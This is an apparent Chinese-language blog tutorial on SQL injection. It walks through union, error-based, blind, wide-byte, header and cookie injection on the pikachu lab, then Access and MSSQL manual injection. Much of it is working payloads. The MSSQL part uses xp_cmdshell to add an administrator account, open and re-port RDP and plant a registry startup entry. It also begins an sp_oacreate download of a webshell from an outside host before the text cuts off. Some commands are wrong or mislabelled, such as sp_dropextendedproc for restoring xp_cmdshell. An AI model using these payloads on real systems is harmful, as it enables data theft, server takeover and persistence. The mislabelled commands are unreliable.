Fork me on GitHub

OWASP top10-sql注入

sql注入攻击技术笔记

SQL注入式攻击技术,一般针对基于Web平台的应用程序.造成SQL注入攻击漏洞的原因,是由于程序员在编写Web程序时,没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改构造参数,提交SQL查询语句,并传递至服务器端,从而获取想要的敏感信息,甚至执行危险的代码或系统命令。

虽然SQL注入攻击技术早已出现,但是时至今日仍然有很大一部分网站存在SQL注入漏洞,在本章开篇中进行的入侵检测中就发现了各大门户网站同样存在SQL注入漏洞,更别说一些小网站了。由于SQL漏润存在的普遍性,因此SQL入侵攻击技术往往成为黑客入侵攻击网站渗透内部服务的首选技术,其危害性非常大。

注入式攻击的原理

注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,与脚本、平台无关)。

总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作

例如:

下图中,如果程序员并未对$id变量进行仅数字输入处理,那么我们就可以对id值进行sql注入指定程序命令

为了发动注射攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情:

确定Web应用程序所使用的技术

注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。

确定所有可能的输入方式

Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们还可以求助于Web代理,如Burp等

查找可以用于注射的用户输入

在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获

sql注入的危害:

由于SQL注入是直接面对数据库进行攻击的,所以它的危害不言而喻,通常利用SQL注入的攻击方式有下面几种:

一是在权限较大的情况下,通过SQL注入可以直接写入webshell,或者直接执行系统命令等。

二是在权限较小的情况下,也可以通过注入来获得管理员的密码等信息,或者修改数据库内容进行一些钓鱼或者其他间接利用。

经典OR漏洞原理解析

大家经常听到网站万能密码登录,今天我们就来分析分析万能密码是怎么回事。先给大家来一个简单的实例:

登录页面关键代码如下:

```

privateboolNoProtectLogin(stringName, stringpassword)

{

intcount = (int)SqlHelper.Instance.ExecuteScalar(string.Format

("SELECT COUNT(*) FROM Login WHERE Name='{0}' AND Password='{1}'", Name, password));

returncount > 0 ? true: false;

}

```

方法中Name和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。

例如下图:用户名输入admin'or 1=1--

本该正确mysql命令语句却显示为了:select * from Admin where name='admin' or  1=1--' and password='weffew'

1=1后所有的内容都会被--注释掉,且1=1结果为真即where条件结果不论怎样都为真,admin用户名及时错误也没关系。

 

注入分类:

数字型注入

id=1 or 1=1;

字符型注入

vince‘ or 1=1#

搜索型

vince%' or 1=1#

xx型

xx') or 1=1#

sql注入前的准备

进行SQL注入攻击测试时,需要利用到从服务器返回的各种出错信息,但是在浏览器中默认设置是不显示详细错误返回信息的,不论服务器返回什么错误,都只能看到“HTTP 500服务器错误”的窗口(图1)。因此,每次进行SQL注入攻击测试前,首先要取消IE浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息

打开IE浏览器,选择菜单“工具”一“Internet选项”命令,打开“Internet选项”对话框。打开“高级”选项卡,在“设置”列表框中找到“浏览组”,取消勾选“显示友好HTTP错误信息息”复选框。

查找和判断sql注入点

与数据库交互的相关页面都有可能存在sql注入

查找方式:

可能存在sql注入的操作方式:用户登录、修改密码,更新、注册、留言板、地址修改、充值、个人用户信息修改...等?一切可能与数据库有信息交互的访问方式

可能出现注入的地方:http头:cookices、referee、user agent,post提交数据包的地方,get请求的url,用户输入信息的地方等等

判断方式:

最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页链接。

http://www.*****.com/***.asp?id=xx (ASP注入)

或者下面的链接。

http://www.*****.com/***.php?id=xx (php注入)

http://www.*****.com/***.jsp?id=xx (jsp注入)

http://www.*****.com/***.aspx?id=xx (aspx注入)

http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换) 

http://www.*****.com/index/new/id/8 伪静态

http://www. *****.com/index/new/php-8.html伪静态

验证方式:

数据and 1=1或者1=2根据页面显示来判断是否有sql注入

输入'单引号判断是否有sql注入

如果服务端报错或者有不同的显示,则说名服务端收到了我们输入的信息且给了回复。那么说明sql注入点是存在的!

ps:

①验证格式根据注入中类进行判断,输入相应的验证格式。分为数字型,字符型,搜索型,xx型。

②and 1=1可能被过滤,这个时候可以尝试:&&  -1=-1

注入提交方式

ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、 request.cookie cookie (接受cookie)

PHP: $_REQUEST(全部接受)、$_GET(接受get)、 $_POST (接受post)、$_COOKIE(接受cookie)

get提交

一般直接通过浏览器地址栏提交,如下图:

post提交

可通过安装火狐浏览器插件(hackbar)或Burp工具来完成,如下图:

cookie提交

一般通Burp工具来完成,如下图:

注入攻击类型与方式

主要有:union注入、information_schema注入、给予函数报错注入。此外还有insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等

union注入

union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。下面以pikachu平台的数据库为例,输入select id,email from member where username='kevin' union select username,pw from member where id=1;查询结果如下:

v' union select username,pw from member where id=1#%

 注:union操作符一般与order by语句配合使用

因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

输入a' order by 4#%,反馈如图:

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a' union select database(),user(),version()#%,反馈如图:

information_schema注入

Mysql5.0以上版本自带的数据库;是sql注入提取数据最快的方式。

information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来

使用order by来判断查询的字段,先找出数据库的名称,输入vince' union select database(),user(),3#%得到反馈,判断数据库名称为pikachu。

获取pikachu数据库的表名,输入:u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

最后获取字段值的内容,输入:kobe'union select username ,password,3 from users#%

基于函数报错注入

技巧思路:

MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.

背景条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

基于报错的信息获取(三个常用的用来报错的函数)

updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
  extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
  floor():MYSQL中用来取整的函数.

updatexml()函数报错方式

三个常用的参数

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 

第三个参数:new_value,String格式,替换查找到的符合条件的数据 

实战测试

1、爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

2、爆数据库当前用户

k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  

3、爆数据库

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表

获取数据库表名,输入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,

但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示。

输入k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历。

5、爆字段

获取字段名,输入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

6、爆字段内容

获取字段内容,输入:k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

例如:

进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,格式如下

k'or updatexml(1,concat(0x7e,(命令)),1) or'

1. 爆表名

k'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

2. 爆

k' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

3. 爆内容

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

update注入

insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。

一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload

dalete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入

Http Header注入

 先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

Cookie注入

 Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前是否相同。

盲注

在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前用的SQL注入办法就无法使用了。

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

QL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注

Boolian(布尔型)盲注

精华在于,虽然报错页面经过了处理不会泄露敏感信息,但是我们可以通过某种方式让你返回'真',在boolian的条件下辨别出输入为真的字符长度,进而查出这个字符。

输入语句vince' and ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。

:substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选,如果没有则表示截取string第start个位置的字符)表示从start开始截取几个字符,此处一个一个截取所以length=1。

那么通过这个方法,虽然只能通过判断单个字符但是我们同样可以先使用length()来判断表名的长度判断出长度后就能多次输入payload来爆破出每一个表名的字符。输入语句:

vince' and length(database())<xx;

判断表名长度为7。

然后再用上面的方法依次爆出每个字母

输入语句

vince'and ascii(substr(database(),2,1))>xx;

回到pikachu平台按照之前的逻辑,我们构造语句,如果返回1,那么就会爆出选择的信息,返回0,就会返回 您输入的username不存在! 。按照之前逻辑,输入sql语句: vince' and ascii(substr(database(),1,1))=112#,通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap,穿山甲,bupsuit等工具来增加盲注的效率

 

base on time(时间型)盲注

base on time盲注下,输入上个演示中设置好的payload vince' and ascii(substr(database(),1,1))=112#,返回的信息发现不存在注入点。那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload: vince' and sleep(x)#

基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#输入后,如果猜测正确,那么就会响应10秒,如果错误会立刻返回错误。输入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。

宽字节

原理:宽字节干掉\(前提是服务端使用gbk字符集)

%df' or 1=1

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。

其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 ',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’有了单引号就好注入了

' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.

小提示: 数字和字母占一个字节,汉字占两个字节。

 

 

哪些地方没有魔术引号的保护?

1) $_SERVER 变量

  PHP5的$_SERVER变量缺少magic_quotes_gqc的保护,导致近年来X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?

2)getenv()得到的变量(使用类似$_SERVER 变量)

3)$HTTP_RAW_POST_DATA与PHP输入、输出流

同时宽字节可以干掉魔术符号

盲注工具:

sqlmap 穿山甲 burpsuit

三大数据库手工注入过程详解:

如何判断服务端使用的什么数据库:

URL判断:如果URL后缀为.asp则很有可能是使用access数据库了,当然,也不排除mssql数据库的可能!如果是.aspx则很有可能是mssql数据库,如果是.php/.jsp/.htm/.html/.do/.active则很有可能是mysql数据库了,当然,也不排除是orcale等其他数据库的可能!

SQL Server有一些系统变量和系统表,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,可以直接从出错信息中获取判断数据库的类型(例如:

and  (select count(*)  from sysobjects)>=O

and (select count(*)  from msysobjects)>=O

或者:and user>0

)。

敏感信息收集

工具暴力破解

....

小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。

php+mysql

数据库存储在数据库安装路径下,后缀格式myi,myd,frm

access数据库sql注入

试验网站:

之前搭建好的iis+asp+access网站。本次使用其中之一  111

开始试验测试:

因为access数据库虽然支持一些常用的简单的sql语句,但是不支持其他sql系统命令,也不支持命令提取数据库系统表,字段。所以只能用暴力猜解的方式。

猜解数据库

这里将详细讲讲上文中提到的如何通过报错信息判断服务端数据库类型吧

内置变量爆数据库类型

“User”SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。
因此通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。

and user>0

该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。

如果提示如下出错信息

Microsoft OLE DB Provider for SQL Server 错误'80040e21'

nvarchar值'****'转换为数据类型为int的列时发生语法错误。

/home/yz/yu/show.asp

则可以判断是MS SQL数据库。

如果采用的是Access数据库的话,那么提示信息则会如下(图4)。

 

Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’

ODBC 驱动程序不支持所需的属性。

/news_view.asp,行 20 

内置数据表爆数据库类型

如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点后提交如下查询语句。

and  (select count(*)  from sysobjects)>=O

and (select count(*)  from msysobjects)>=O

MS SQL Serve:存在系统表[sysobjects],不存在[msysobjects]系统表,因此会返回如下错误提示信息(msysobject报错).

Microsoft OLE DB Provider for SQL Server 错误 '80040e37'

对象名 'msysobjects' 无效。

/home/yz/yu/show.asp, 行 8

Access存在系统表[msysobjects],不存在“sysobjects”表。因此如果数据库采用的是Access,会返回如下提示错误信息(sysobject报错)。

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'

/home/yz/yu/show.asp, 行 8

[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet数据库引擎找不到输入表或查询'sysobjects'。确定它是否存在,以及它的名称的拼写是否正确。

猜解数据库表名

可在注入点后提交如下语句进行查询。

and exists(select *  from 数据库表名 )

或者

and (select count(*)  from 数据库表名 )>=0

上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表名继续进行查询。

 

猜解数据库表名里面的字段

猜解字段名,可在注入点后提交如下语句查询。

and exists(select 字段名  from 数据库表名 )

或者

and (select count(字段名)  from 数据库表名 )>=0

如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。

 猜解字段内容

猜解字段内容长度

原理:当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。

可提交如下查询语句。

and (select top 1 len(字段名)  from 数据库表名 )>1

and (select top 1 len(字段名)  from 数据库表名 )>2

and (select top 1 len(字段名)  from 数据库表名 )>n-1

and (select top 1 len(字段名)  from 数据库表名 )>n

当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。

 

猜解字段内容

原理:猜字段的ascii值。

首先猜解字段内容是汉子还是字母

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0  //返回正常页面

说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。

 

可在注入点后提交如下查询语句(这里的内容为字母)。

and (select top 1 asc(mid(字段名,1,1))  from 数据库表名 )>0

and (select top 1 asc(mid(字段名,1,1))  from 数据库表名 )>1

and (select top 1 asc(mid(字段名,1,1))  from 数据库表名 )>n-1

and (select top 1 asc(mid(字段名,1,1))  from 数据库表名 )>n

当提交>n-I时正常,而提交到>n时返回出错,那么说明字段值的ASCII码为n。反查ASCII码对应的字符,就可得到字段值的第一位字符。再继续提交如下查询。

and (select top 1 asc(mid(字段名,2,1))  from 数据库表名 )>0

用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止。

 

除了以上手动猜解之外,最常用的是工具字典暴力猜解法

例如:burpsuit   穿山甲等等

穿山甲

 

 burpsuit

使用之前的设定位置然后再添加字典的方式同样可以进行暴力猜解!因为时间问题这里就不一一进行试验了

SQL注入中的高级查询

ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以快速地获得字段长度及字段内容,这个在之前也是有写的。这种查询方法,不仅可以利用在Access数据库猜解中,同样也可以利用在其他类型数据库的注入猜解中,是一种非常重要,而且必须掌握的方法。

order by

首先,利用order by猜解字段数目,查询语句如下。

order by 1

order by 2

...

order by n-1

order by n

如果n-1时返回正常,n时返回错误,那么说明字段数目为n。

 

union select

得到字段长度后,就可利用union select查询获得字段内容了。

and 1=2 union select1, 2, 3...., n from 表名

执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码(言外之意就是access数据库数据库表名和字段名还是只能猜解得到)。

and 1=2 union select1, 字段1, 字段2...., n from 表名

在页面中就会返回字段内容,不必一个一个进行猜解了。

 union select查询攻击测试

在前面的案例中.己猜解出了表名及字段名,现在来进行高效查询获得字段内容。

首先查询字段数目,提交如下:

http://192.168.1.55:901/news_view.asp?id=14 order by 1  //正常

http://192.168.1.55:901/news_view.asp?id=14 order by 7  //正常

http://192.168.1.55:901/news_view.asp?id=14 order by 8  //错误

说明字段数目为7 ,因此可提交以下字段。

http://192.168.1.55:901/news_view.asp?id=14and 1=2 union select 1,2,3,4,5,6,7 from administrator  (通过联合查询从这7个字段里面去查询administrator表里面那些是可写的数字)

页面返回信息中,可看到显示了数字2和3。因此可以将这2个数字替换为字段名,提交如下查询。

http://192.168.1.55:901/news_view.asp?id=14and 1=2 union select 1,user_name,password,4,5,6,7 from administrator

在页面返回信息中,立即获得了user_name和password字段的值(图16),比前面的方法快速高效多了

偏移注入(不重要)

偏移注入是针对Access数据库,当我们注入猜到数据库表名却猜不到字段名的情况下,这种方法就可以帮我们填补。(注:这种方法运气很重要)

第一步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,5,6,7 from administrator 当我们把把usernamepassword代入23查询不到的时候,就可以使用下面方法。

第二步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,* from administrator  分别用*号代替数字,直到返回正常页面。发现在4的时候页面返回正常,接着我们用7-4=3(代表administrator 3个字段)再接着用3*2+1=7来构造第三步联合查询注入语句。

第三步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1, a.id,b.id, *  from (administrator as a inner join administrator as b on a.id=b.id)    :a.id ,b.id 每个占三个字段,就是上面3*2

第四步: 如果用户名和密码没暴出来,并且字段数多的情况下(例如:10个字段,那就是3*3+1=10),那么通过下例语句还可以接着暴用户名和密码:http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c on a.id=c.id)

跨库注入(不重要)

ab两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有注入点。直接用  http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins 

 mssql手工注入

MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。

MsSQL的注入,可采用与Access注入相同的原理和方法,但是利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。

首先先了解一下mssql数据库的特点:

使用mssql数据库的一般是asp和aspx网站

使用mssql数据库的系统一般为win

一般我们可以获取mssql三个权限——sa,dbowner,public。其中sa权限最大

MsSQl注入点的基本检测

在进行MsSQL注入点攻击时,首先要对MsSQL注入点进行一下基本的注入检测,以确定后面的攻击实施方案。

注入点类型的判断是否为mssql数据库

首先,判断是否是MsSQL注入点,可提交如下查询.

and exists  (select * from sysobjects)

页面返回正常,则说明为MsSQL注入点。

ps:具体过程见access数据库手工注入!

注入点权限判断

再检测一下当前用户的数据库操作权限,提交如下查询

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

and 1=(select is_srvrolemember('db_owner'))

and 1=(select is_srvrolemember('public'))

如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制

如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号

DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作

PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来

参考

http://blog.csdn.net/xabc3000/article/details/7615378

MsSQL返回信息判断

提交如下查询。

and @@version>0

从页面返回的错误信息中,可以得到数据库版本信息。

如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。

此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。

;declare @d int  // 判断MsSQL支持多行语句查询

and (select count (1) from [sysobjects])>=0  //是否支持子查询

and user>0//获取当前数据库用户名

and db_name>0 //获取当前数据库名称

and l=convert (int,db_name ())  或 1=(select db_name ()) //当前数据库名

and 1=(select @@servername)                   //本地服务名

and 1=(Select HAS_DBACCESS ('master'))        //判断是否有库读取权限

ps:权限为sa时,只需要获取当前数据库系统的用户名即可:and system_user=0

利用MsSQL扩展存储注入攻击

扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。

检测与恢复扩展存储

提交如下查询进行检测。

and 1=(Select count(*) FROM master. dbo.sysobjects  Where xtype ='X' AND name = 'xp_cmdshell')可查看xp_cmdshell扩展存储过程是否被删除。

and 1=(Select count(*) FROM master. dbo.sysobjects  Where name = 'xp_regread')可查看xp_regread扩展存储过程是否被删除。

如果扩展存储被删除,可执行如下查询进行恢复。

;exec sp_dropextendedproc 'xp_cmdshell'

上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。

;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell

如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。

;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’

攻击中最常利用的扩展存储

SQL注入攻击过程中,最常利用到的扩展存储有如下几个。

xp_cmdshell—利用此存储过程可以直接执行系统命令。

xp_regread—利用此存储过程可以进行注册表读取。

xp_regwrit一利用此存储过程可以写入注册表。

xp_dirtre一利用此存储过程可以进行列目录操作。

xp_enumds—利用此存储过程可以进行ODBC连接。

xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。

xp_makecab一一利用此存储过程可以创建压缩卷。

xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。

xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。

SA权限下扩展存储攻击利用方法

MsSQL注入点具备sa权限时,只需提交各种扩展存储查询语句,就可以实现危害极大的攻击。

xp_cmdshell扩展执行任意命令

首先:判断一下xp_cmdshell存储过程是否存在

 

and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')  

 

利用xp_cmdshell可执行命令,例如提交如下查询,可查看服务器C盘目录。

;exec master..xp_cmdshell 'dir c:\'

最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制。

;exec master..xp_cmdshell 'net user test/add'

exec master..xp_cmdshell 'net locaigroup administrators test/add'

执行上面的查询,即可添加一个用户名和密码都为test的管理员账号。然后可以利用命令打开3389远程终端连接,并修改终端连接端口号。

;exec master..xp_cmdshell 'sc config termservice start = auto'

;exec master..xp_cmdshell 'net start termservice'

;exec master..xp_cmdshell 'reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v fDenyTSConnections /t REG_DWORD /D 0X0 /F' //允许外部连接

;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/v PortNumber /t REG_DWORD' //改端口到80

事实上,只要可以执行系统命令,几乎任意的攻击操作都可在此基础上实现进行。

xp_regwrite操作注册表与开启沙盒模式

开启3389

 

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

 

sa权限下可以调用xp_regwrite写入注册表,查询语句如下。

;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net user test test /add'

这里是写入注册表启动项,系统启动后就会执行“net user test westone”命令,从而在服务器上添加一个test账户。当服务器重新启动登录时,就会自动执行命令添加指定的账户。

还可以利用xp_regwrite来开启沙盒模式,从而执行系统命令。

首先开启沙盒模式,在注入点处提交如下查询。

execmaster..xp regwrite'HKEY_LOCAL_MACHINE','SOFTNARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG DWORD',l

然后利用jet.oledb执行如下系统命令。

select * from openrowset('microsoft.jet.oledb.4.O',';database=c:\windows\system32\ias\ias.mdb','select shell("net user test test /add")')

注意,如果注入点的参数是integer数字型,就可指定“ias.mdb”数据库;如果是string字符型,则可指定连接dnary.mdb.如果是Windows 2000系统,数据库的路径应该指定为:

"x:\winnt\system32\ias\ias.mdb"

利用sp_makewebtask写入一句话木马

sa权限下还可以调用sp_oacreate存储过程来完成更多功能,例如远程下载文件到服务器上,从而间接获得一个WebShell.

这里可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下。

http://www.test.com/teat.txt

在注入点处提交如下查询。

DECLARE   @B   varbinary(8000),@hr   int,
@http   INT,@down   INT   EXEC   sp_oacreate
(Microsoft.XMLHTTP],@http  output    EXEC  
@hr  =  sp_oamethod    @http,[Open],null,[GET],
[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_
